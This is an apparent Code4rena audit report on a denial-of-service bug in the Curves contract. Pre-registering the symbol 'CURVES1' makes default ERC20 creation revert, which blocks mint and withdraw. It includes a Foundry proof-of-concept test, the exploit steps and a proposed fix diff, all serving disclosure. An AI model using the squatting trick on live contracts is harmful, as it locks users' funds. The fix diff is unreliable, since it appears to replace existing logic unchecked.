Attacker can make default creation of ERC20 to always revert

[c4-bot-4]

Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L343-L350

Vulnerability details

Impact

Attacker can make default creation of ERC20 to always revert. Thus, rendering mint and withdraw function unusable.

Bug

Symbol can be set by the attacker such that it will collide with the same symbol as the one which will be created via default values.

Proof of Concept

Here is the foundry test file

Here is the test with main logic of the exploit:

    function testDefaultDeployERC20Tokens() public {
        // Attacker creates ERC20 token with symbol `CURVES1`
        vm.prank(attacker);
        curves.buyCurvesTokenWithName(attacker, 1, "Curves 1", "CURVES1");

        // Any user tries to create ERC20 token with default name and symbol using `mint` function
        vm.prank(user);
        vm.expectRevert();
        curves.mint(user);

        // Creator cannot use `withdraw` function without deploying it's
        // ERC20 token via `buyCurvesTokenWithName` or `setNameAndSymbol` functions
        vm.startPrank(creator);
        curves.buyCurvesToken(creator, 1);
        curves.buyCurvesToken{value: 1 ether}(creator, 1);
        vm.expectRevert();
        curves.withdraw(creator, 1);
        vm.stopPrank();

        // Any user cannot use `withdraw` function without creator deploying it's
        // ERC20 token via `buyCurvesTokenWithName` or `setNameAndSymbol` functions
        vm.startPrank(user);
        curves.buyCurvesToken{value: 1 ether}(creator, 1);
        vm.expectRevert();
        curves.withdraw(creator, 1);
        vm.stopPrank();
    }

Here are the step of exploit:

1. Attacker creates ERC20 token with symbol CURVES1 using buyCurvesTokenWithName function.
2. This symbol name will collide the symbol which will be created via default values.
3. This will result in revert every time mint function is called and withdraw function is called when there is no ERC20 token.

Tools Used

Foundry

Recommended Mitigation Steps

Add these lines of code in setNameAndSymbol and buyCurvesTokenWithName functions of Curves contract such that attacker cannot make the same default symbol.

    function buyCurvesTokenWithName(
        address curvesTokenSubject,
        uint256 amount,
        string memory name,
        string memory symbol
    ) public payable {
        uint256 supply = curvesTokenSupply[curvesTokenSubject];
        if (supply != 0) revert CurveAlreadyExists();

+        symbol = string(abi.encodePacked(symbol, "_CURVES"));
+        _buyCurvesToken(curvesTokenSubject, amount);
+        _mint(curvesTokenSubject, name, symbol);
    }

    function setNameAndSymbol(
        address curvesTokenSubject,
        string memory name,
        string memory symbol
    ) external onlyTokenSubject(curvesTokenSubject) {
        if (externalCurvesTokens[curvesTokenSubject].token != address(0))
            revert ERC20TokenAlreadyMinted();
        if (symbolToSubject[symbol] != address(0))
            revert InvalidERC20Metadata();
        externalCurvesTokens[curvesTokenSubject].name = name;
-        externalCurvesTokens[curvesTokenSubject].symbol = symbol;
+        externalCurvesTokens[curvesTokenSubject].symbol = string(
+            abi.encodePacked(symbol, "_CURVES")
+        );
    }

Assessed type

DoS

[c4-pre-sort]

raymondfam marked the issue as sufficient quality report

[c4-pre-sort]

raymondfam marked the issue as duplicate of #21

[c4-judge]

alcueca marked the issue as satisfactory